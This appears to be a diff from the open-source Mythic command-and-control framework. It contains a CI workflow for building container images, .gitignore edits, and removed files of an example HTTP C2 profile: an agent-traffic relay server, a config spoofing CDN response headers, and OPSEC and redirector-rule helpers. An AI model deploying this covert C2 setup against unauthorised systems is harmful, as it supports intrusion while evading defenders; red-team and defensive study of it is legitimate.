uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: hasura-docker
|
||||
file: hasura-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_GRAPHQL_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_GRAPHQL_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_nginx:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the nginx container image name
|
||||
run: echo "MYTHIC_NGINX_IMAGE_NAME=${MYTHIC_NGINX_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the nginx container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: nginx-docker
|
||||
file: nginx-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_NGINX_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_NGINX_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_react:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the react container image name
|
||||
run: echo "MYTHIC_REACT_IMAGE_NAME=${MYTHIC_REACT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the react container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: .
|
||||
file: mythic-react-docker/.docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_REACT_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_REACT_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
# update mythic-cli latest after we're sure all the others build properly
|
||||
mythic_cli:
|
||||
runs-on: ubuntu-latest
|
||||
needs:
|
||||
- mythic_server
|
||||
- mythic_postgres
|
||||
- mythic_rabbitmq
|
||||
- mythic_documentation
|
||||
- mythic_jupyter
|
||||
- mythic_graphql
|
||||
- mythic_nginx
|
||||
- mythic_react
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the cli container image name
|
||||
run: echo "MYTHIC_CLI_IMAGE_NAME=${MYTHIC_CLI_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
|
||||
- name: Fix the mythic_docker_latest reference to reference the new release tag
|
||||
working-directory: Mythic_CLI/src/cmd/config
|
||||
run: |
|
||||
sed -i "s|^const MythicDockerLatest =.*$|const MythicDockerLatest = \"${VERSION}\"|" constants.go
|
||||
|
||||
- name: Build and push the cli container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: Mythic_CLI
|
||||
file: Mythic_CLI/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_CLI_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_CLI_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
|
||||
update_files:
|
||||
runs-on: ubuntu-latest
|
||||
needs:
|
||||
- mythic_server
|
||||
- mythic_cli
|
||||
- mythic_postgres
|
||||
- mythic_rabbitmq
|
||||
- mythic_documentation
|
||||
- mythic_jupyter
|
||||
- mythic_graphql
|
||||
- mythic_nginx
|
||||
- mythic_react
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
|
||||
# update names to lowercase
|
||||
- name: Lowercase the server container image name
|
||||
run: echo "MYTHIC_SERVER_IMAGE_NAME=${MYTHIC_SERVER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the cli container image name
|
||||
run: echo "MYTHIC_CLI_IMAGE_NAME=${MYTHIC_CLI_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the postgres container image name
|
||||
run: echo "MYTHIC_POSTGRES_IMAGE_NAME=${MYTHIC_POSTGRES_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the rabbitmq container image name
|
||||
run: echo "MYTHIC_RABBITMQ_IMAGE_NAME=${MYTHIC_RABBITMQ_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the documentation container image name
|
||||
run: echo "MYTHIC_DOCUMENTATION_IMAGE_NAME=${MYTHIC_DOCUMENTATION_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the jupyter container image name
|
||||
run: echo "MYTHIC_JUPYTER_IMAGE_NAME=${MYTHIC_JUPYTER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the graphql container image name
|
||||
run: echo "MYTHIC_GRAPHQL_IMAGE_NAME=${MYTHIC_GRAPHQL_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the nginx container image name
|
||||
run: echo "MYTHIC_NGINX_IMAGE_NAME=${MYTHIC_NGINX_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the react container image name
|
||||
run: echo "MYTHIC_REACT_IMAGE_NAME=${MYTHIC_REACT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
# The Dockerfile which Mythic uses to pull in the base container image needs to be
|
||||
# updated to reference the newly built container image
|
||||
- name: Fix the server Dockerfile reference to reference the new release tag
|
||||
working-directory: mythic-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_SERVER_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the cli Dockerfile reference to reference the new release tag
|
||||
working-directory: Mythic_CLI
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_CLI_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the cli Makefile reference to reference the new release tag
|
||||
working-directory: Mythic_CLI
|
||||
run: |
|
||||
sed -i "s|^BUILDER_IMAGE=ghcr\.io.*$|BUILDER_IMAGE=${REGISTRY}/${MYTHIC_CLI_IMAGE_NAME}:${VERSION}|" Makefile
|
||||
|
||||
- name: Fix the mythic_docker_latest reference to reference the new release tag
|
||||
working-directory: Mythic_CLI/src/cmd/config
|
||||
run: |
|
||||
sed -i "s|^const MythicDockerLatest =.*$|const MythicDockerLatest = \"${VERSION}\"|" constants.go
|
||||
|
||||
- name: Fix the postgres Dockerfile reference to reference the new release tag
|
||||
working-directory: postgres-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_POSTGRES_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the rabbitmq Dockerfile reference to reference the new release tag
|
||||
working-directory: rabbitmq-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_RABBITMQ_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the documentation Dockerfile reference to reference the new release tag
|
||||
working-directory: documentation-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_DOCUMENTATION_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the jupyter Dockerfile reference to reference the new release tag
|
||||
working-directory: jupyter-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_JUPYTER_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the graphql Dockerfile reference to reference the new release tag
|
||||
working-directory: hasura-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_GRAPHQL_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the nginx Dockerfile reference to reference the new release tag
|
||||
working-directory: nginx-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_NGINX_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the react Dockerfile reference to reference the new release tag
|
||||
working-directory: mythic-react-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_REACT_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
# Push the changes to the Dockerfile
|
||||
- name: Push the updated base Dockerfile image reference changes
|
||||
if: ${{ github.ref_type == 'tag' }}
|
||||
uses: EndBug/add-and-commit@v9 # ref: https://github.com/marketplace/actions/add-commit
|
||||
with:
|
||||
# Only add the Dockerfile changes. Nothing else should have been modified
|
||||
add: "['Mythic_CLI/Makefile', 'Mythic_CLI/src/cmd/config/constants.go']"
|
||||
# Use the Github actions bot for the commit author
|
||||
default_author: github_actions
|
||||
committer_email: github-actions[bot]@users.noreply.github.com
|
||||
|
||||
# Set the commit message
|
||||
message: "Bump Mythic Dockerfile tag to match release '${{ env.VERSION }}'"
|
||||
|
||||
# Overwrite the current git tag with the new changes
|
||||
tag: '${{ env.VERSION }} --force'
|
||||
|
||||
# Push the new changes with the tag overwriting the current one
|
||||
tag_push: '--force'
|
||||
|
||||
# Push the commits to the branch marked as the release branch
|
||||
push: origin HEAD:${{ env.RELEASE_BRANCH }} --set-upstream
|
||||
|
||||
# Have the workflow fail in case there are pathspec issues
|
||||
pathspec_error_handling: exitImmediately
|
||||
+27
-1
@@ -4,10 +4,20 @@ __pycache__/
|
||||
docs/_build/
|
||||
# Environments
|
||||
.env
|
||||
tmp
|
||||
saved_images/
|
||||
.venv
|
||||
*.swp
|
||||
mythic_server
|
||||
docker-compose.yml
|
||||
.ipynb_checkpoints/
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
mythic-cli
|
||||
.DS_Store
|
||||
[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*
|
||||
*.svg
|
||||
env.bak/
|
||||
venv.bak/
|
||||
# pycharm
|
||||
@@ -15,16 +25,20 @@ venv.bak/
|
||||
# ssl certs
|
||||
ssl/
|
||||
# Mythic files
|
||||
files/
|
||||
nginx-docker/config/blockips.conf
|
||||
mythic-docker/src/Mythic
|
||||
mythic_access.*
|
||||
mythic_sync/
|
||||
postgres-docker/database/
|
||||
rabbitmq-docker/storage/
|
||||
C2_profiles/
|
||||
Payload_Types/
|
||||
InstalledServices/
|
||||
Docker_Templates/
|
||||
documentation-docker/content/
|
||||
documentation-docker/public/
|
||||
display_output.txt
|
||||
full_attack.json
|
||||
nginx-docker/config/conf.d/services.conf
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
@@ -149,3 +163,15 @@ _ReSharper*/
|
||||
|
||||
# vscode
|
||||
.vscode/
|
||||
|
||||
jupyter-docker/jupyter/MythicExamples/.ipynb_checkpoints/
|
||||
|
||||
nginx-docker/config/blockips.conf
|
||||
/MythicReactUI/build/
|
||||
/MythicReactUI/node_modules/
|
||||
/mythic-react-docker/mythic/public/
|
||||
/.gocache/
|
||||
|
||||
.gocache/
|
||||
MythicReactUI/build
|
||||
MythicReactUI/node_modules
|
||||
+2378
File diff suppressed because it is too large.
Load diff
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_sanic_c2profile:0.0.6
|
||||
@@ -1,18 +0,0 @@
|
||||
{
|
||||
"instances": [
|
||||
{
|
||||
"ServerHeaders": {
|
||||
"Server": "NetDNA-cache/2.2",
|
||||
"Cache-Control": "max-age=0, no-cache",
|
||||
"Pragma": "no-cache",
|
||||
"Connection": "keep-alive",
|
||||
"Content-Type": "application/javascript; charset=utf-8"
|
||||
},
|
||||
"port": 80,
|
||||
"key_path": "",
|
||||
"cert_path": "",
|
||||
"use_ssl": false,
|
||||
"debug": false
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Page Not Found!</title>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,157 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
"""This is an example implementation of a C2 server that processes HTTP
|
||||
communications with an Agent, performs routing with the Mythic server,
|
||||
and adds the required Mythic header to the HTTP response to identify
|
||||
the C2 profile forwarding the request.
|
||||
"""
|
||||
from sanic import Sanic
|
||||
from sanic.response import html, redirect, text, raw
|
||||
from sanic.exceptions import NotFound
|
||||
import sys
|
||||
import asyncio
|
||||
import ssl
|
||||
from pathlib import Path
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
|
||||
config = {}
|
||||
|
||||
async def print_flush(message):
|
||||
"""Print message and flush the stdout buffer.
|
||||
|
||||
Python's stdout is buffered, so it collects data written
|
||||
into a buffer before it is written to the terminal. This
|
||||
forces the buffer to be written to the terminal instead of
|
||||
waiting for output to eventually occur.
|
||||
|
||||
Args:
|
||||
message: self-explanatory
|
||||
"""
|
||||
print(message)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def server_error_handler(request, exception):
|
||||
"""Error handler for Sanic app. Formats server error to be presented.
|
||||
|
||||
Args:
|
||||
request: object containing the HTTP request information
|
||||
exception: object containing exception information
|
||||
|
||||
"""
|
||||
if request is None:
|
||||
print("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
|
||||
sys.stdout.flush()
|
||||
return html("Error: Failed to process request", status=500, headers={})
|
||||
return html("Error: Requested URL {} not found".format(request.url), status=404, headers=config[request.app.name]['headers'])
|
||||
|
||||
|
||||
async def agent_message(request, **kwargs):
|
||||
"""This is the route handler that processes a request from the Agent.
|
||||
|
||||
Args:
|
||||
request: object containing the HTTP request information
|
||||
**kwargs: any additional arguments
|
||||
Returns:
|
||||
HTTP response object
|
||||
"""
|
||||
global config
|
||||
try:
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("agent_message request from: {} with {} and {}".format(request.url, request.cookies, request.headers))
|
||||
await print_flush(" and URI: {}".format(request.query_string))
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("Forwarding along to: {}".format(config['mythic_address']))
|
||||
if request.method == "POST":
|
||||
# manipulate the request if needed - change the "Mythic" header to match the name of your C2 profile
|
||||
|
||||
#await MythicCallbackRPC().add_event_message(message="got a POST message")
|
||||
response = requests.post(config['mythic_address'], data=request.body, verify=False, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
|
||||
else:
|
||||
# manipulate the request if needed - change the "Mythic" header to match the name of your C2 profile
|
||||
|
||||
#await MythicCallbackRPC().add_event_message(message="got a GET message")
|
||||
#msg = await MythicCallbackRPC().encrypt_bytes(with_uuid=True, data="my message".encode(), uuid="eaf10700-cb30-402d-b101-8e35d67cdb41")
|
||||
#await MythicCallbackRPC().add_event_message(message=msg.response)
|
||||
response = requests.get(config['mythic_address'] + "?{}".format(request.query_string), verify=False, data=request.body, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
|
||||
return raw(response.content, headers=config[request.app.name]['headers'], status=response.status_code)
|
||||
except Exception as e:
|
||||
if request is None:
|
||||
await print_flush("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
|
||||
return server_error_handler(request, e)
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("error in agent_message: {}".format(str(e)))
|
||||
return server_error_handler(request, e)
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.path.append("/Mythic/mythic")
|
||||
from mythic_c2_container.C2ProfileBase import *
|
||||
from mythic_c2_container.MythicCallbackRPC import *
|
||||
config_file = open("config.json", 'rb')
|
||||
main_config = json.loads(config_file.read().decode('utf-8'))
|
||||
print("Opening config and starting instances...")
|
||||
sys.stdout.flush()
|
||||
# basic mapping of the general endpoints to the real endpoints
|
||||
try:
|
||||
config['mythic_address'] = os.environ['MYTHIC_ADDRESS']
|
||||
except Exception as e:
|
||||
print("failed to find MYTHIC_ADDRESS environment variable")
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
# now look at the specific instances to start
|
||||
for inst in main_config['instances']:
|
||||
config[str(inst['port'])] = {'debug': inst['debug'],
|
||||
'headers': inst['ServerHeaders']}
|
||||
if inst['debug']:
|
||||
print("Debugging statements are enabled. This gives more context, but might be a performance hit")
|
||||
else:
|
||||
print("Debugging statements are disabled")
|
||||
sys.stdout.flush()
|
||||
# now to create an app instance to handle responses
|
||||
app = Sanic(str(inst['port']))
|
||||
app.config['REQUEST_MAX_SIZE'] = 1000000000
|
||||
app.config['REQUEST_TIMEOUT'] = 600
|
||||
app.config['RESPONSE_TIMEOUT'] = 600
|
||||
app.add_route(agent_message, "/<uri:path>", methods=['GET','POST'])
|
||||
app.add_route(agent_message, "/", methods=['GET','POST'])
|
||||
app.error_handler.add(Exception, server_error_handler)
|
||||
keyfile = Path(inst['key_path'])
|
||||
certfile = Path(inst['cert_path'])
|
||||
if keyfile.is_file() and certfile.is_file():
|
||||
context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
|
||||
context.load_cert_chain(inst['cert_path'], keyfile=inst['key_path'])
|
||||
if inst['debug']:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], ssl=context, debug=False, return_asyncio_server=True, access_log=True)
|
||||
else:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], ssl=context, debug=False, return_asyncio_server=True, access_log=False)
|
||||
if inst['debug']:
|
||||
print("using SSL for port {}".format(inst['port']))
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
if inst['debug']:
|
||||
print("not using SSL for port {}".format(inst['port']))
|
||||
sys.stdout.flush()
|
||||
if inst['debug']:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], debug=False, return_asyncio_server=True, access_log=True)
|
||||
else:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], debug=False, return_asyncio_server=True, access_log=False)
|
||||
task = asyncio.ensure_future(server)
|
||||
|
||||
try:
|
||||
loop = asyncio.get_event_loop()
|
||||
def callback(fut):
|
||||
try:
|
||||
fetch_count = fut.result()
|
||||
except:
|
||||
print("port already in use")
|
||||
sys.stdout.flush()
|
||||
sys.exit()
|
||||
task.add_done_callback(callback)
|
||||
loop.run_forever()
|
||||
except:
|
||||
sys.exit()
|
||||
loop.stop()
|
||||
@@ -1,206 +0,0 @@
|
||||
"""This file provides basic examples of the C2 RPC functions.
|
||||
|
||||
The following functions are implemented to provide an example of implementation:
|
||||
- test
|
||||
- opsec: checks C2 profile parameters to verify they meet user-specified OPSEC-safe implementations
|
||||
- config_check: check and validate supplied parameters when an payload request is generated
|
||||
- redirect_rules: generate redirect rules for a specific payload when called on-demand by operator
|
||||
|
||||
Documentation follows Google Python Style Guide for comments:
|
||||
https://github.com/google/styleguide/blob/gh-pages/pyguide.md#38-comments-and-docstrings
|
||||
"""
|
||||
from mythic_c2_container.MythicRPC import *
|
||||
import json
|
||||
import netifaces
|
||||
|
||||
async def test(request):
|
||||
"""Performs a test.
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
{"action": func_name, "message": "the input", "task_id": task id num}
|
||||
|
||||
Returns:
|
||||
A RPCResponse object containing status and response message
|
||||
"""
|
||||
response = RPCResponse()
|
||||
response.status = RPCStatus.Success
|
||||
response.response = "hello"
|
||||
resp = await MythicRPC().execute("create_event_message", message="Test message", warning=False)
|
||||
return response
|
||||
|
||||
async def opsec(request):
|
||||
"""Checks C2 profile parameters to verify they meet user-specified OPSEC-safe implementations.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
|
||||
{ "action": "opsec", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
"""
|
||||
# perform OPSEC checks against the parameters. In this example, the callback port
|
||||
# is checked against common HTTPS ports when the callback host contains "https"
|
||||
params = request["parameters"]
|
||||
if "https" in params["callback_host"] and params["callback_port"] not in ["443", "8443", "7443"]:
|
||||
return {"status": "error", "error": f"Mismatch - HTTPS specified, but port {params['callback_port']}, is not one of the standard port (443, 8443)\n"}
|
||||
|
||||
# if no OPSEC checks, just return the following message
|
||||
# return {"status": "success", "message": "No OPSEC checks performed\n"}
|
||||
# otherwise, indicate that OPSEC checks were successful
|
||||
return {"status": "success", "message": "Basic OPSEC checks passed\n"}
|
||||
|
||||
|
||||
|
||||
async def config_check(request):
|
||||
"""Check and validate supplied parameters when an payload request is generated.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
|
||||
{ "action": "config_check", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
"""
|
||||
# Open the C2 profile's config.json and, build a list of ports, and confirm port use.
|
||||
# This example code uses the default config.json.
|
||||
try:
|
||||
|
||||
with open("../c2_code/config.json") as f:
|
||||
config = json.load(f)
|
||||
possible_ports = []
|
||||
for inst in config["instances"]:
|
||||
possible_ports.append({"port": inst["port"], "use_ssl": inst["use_ssl"]})
|
||||
if str(inst["port"]) == str(request["parameters"]["callback_port"]):
|
||||
if "https" in request["parameters"]["callback_host"] and not inst["use_ssl"]:
|
||||
message = f"C2 Profile container is configured to NOT use SSL on port {inst['port']}, but the callback host for the agent is using https, {request['parameters']['callback_host']}.\n\n"
|
||||
message += "This means there should be the following connectivity for success:\n"
|
||||
message += f"Agent via SSL to {request['parameters']['callback_host']} on port {inst['port']}, then redirection to C2 Profile container WITHOUT SSL on port {inst['port']}"
|
||||
return {"status": "error", "error": message}
|
||||
elif "https" not in request["parameters"]["callback_host"] and inst["use_ssl"]:
|
||||
message = f"C2 Profile container is configured to use SSL on port {inst['port']}, but the callback host for the agent is using http, {request['parameters']['callback_host']}.\n\n"
|
||||
message += "This means there should be the following connectivity for success:\n"
|
||||
message += f"Agent via NO SSL to {request['parameters']['callback_host']} on port {inst['port']}, then redirection to C2 Profile container WITH SSL on port {inst['port']}"
|
||||
return {"status": "error", "error": message}
|
||||
else:
|
||||
message = f"C2 Profile container and agent configuration match port, {inst['port']}, and SSL expectations.\n"
|
||||
return {"status": "success", "message": message}
|
||||
message = f"Failed to find port, {request['parameters']['callback_port']}, in C2 Profile configuration\n"
|
||||
message += f"This could indicate the use of a redirector, or a mismatch in expected connectivity.\n\n"
|
||||
message += f"This means there should be the following connectivity for success:\n"
|
||||
if "https" in request["parameters"]["callback_host"]:
|
||||
message += f"Agent via HTTPS on port {request['parameters']['callback_port']} to {request['parameters']['callback_host']} (should be a redirector).\n"
|
||||
else:
|
||||
message += f"Agent via HTTP on port {request['parameters']['callback_port']} to {request['parameters']['callback_host']} (should be a redirector).\n"
|
||||
if len(possible_ports) == 1:
|
||||
message += f"Redirector then forwards request to C2 Profile container on port, {possible_ports[0]['port']}, {'WITH SSL' if possible_ports[0]['use_ssl'] else 'WITHOUT SSL'}"
|
||||
else:
|
||||
message += f"Redirector then forwards request to C2 Profile container on one of the following ports: {json.dumps(possible_ports)}\n"
|
||||
if "https" in request["parameters"]["callback_host"]:
|
||||
message += f"\nAlternatively, this might mean that you want to do SSL but are not using SSL within your C2 Profile container.\n"
|
||||
message += f"To add SSL to your C2 profile:\n"
|
||||
message += f"\t1. Go to the C2 Profile page\n"
|
||||
message += f"\t2. Click configure for the http profile\n"
|
||||
message += f"\t3. Change 'use_ssl' to 'true' and make sure the port is {request['parameters']['callback_port']}\n"
|
||||
message += f"\t4. Click to stop the profile and then start it again\n"
|
||||
return {"status": "success", "message": message}
|
||||
except Exception as e:
|
||||
return {"status": "error", "error": str(e)}
|
||||
|
||||
|
||||
|
||||
async def redirect_rules(request):
|
||||
"""Generate redirect rules for a specific payload when called on-demand by operator.
|
||||
|
||||
Operationally, users invoke this function from the Payloads page in the Mythic UI with a
|
||||
dropdown menu for the payload they're interested in. These rules can include functionality
|
||||
such as Apache mod_rewrite rules, Nginx configurations, etc. This function simply generates
|
||||
output that the operator must then copy and implement on a redirector.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and the same profile parameters that were
|
||||
passed to the opsec and config_check functions.
|
||||
|
||||
{ "action": "redirect_rules", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
|
||||
"""
|
||||
# This example generates Apache mod_rewrite rules for Mythic C2 profiles
|
||||
# to redirect non-C2 traffic to another site.
|
||||
output = "mod_rewrite rules generated from @AndrewChiles' project https://github.com/threatexpress/mythic2modrewrite:\n"
|
||||
# Get User-Agent
|
||||
errors = ""
|
||||
ua = ''
|
||||
uris = []
|
||||
if "headers" in request['parameters']:
|
||||
for header in request['parameters']["headers"]:
|
||||
if header["key"] == "User-Agent":
|
||||
ua = header["value"]
|
||||
else:
|
||||
errors += "[!] User-Agent Not Found\n"
|
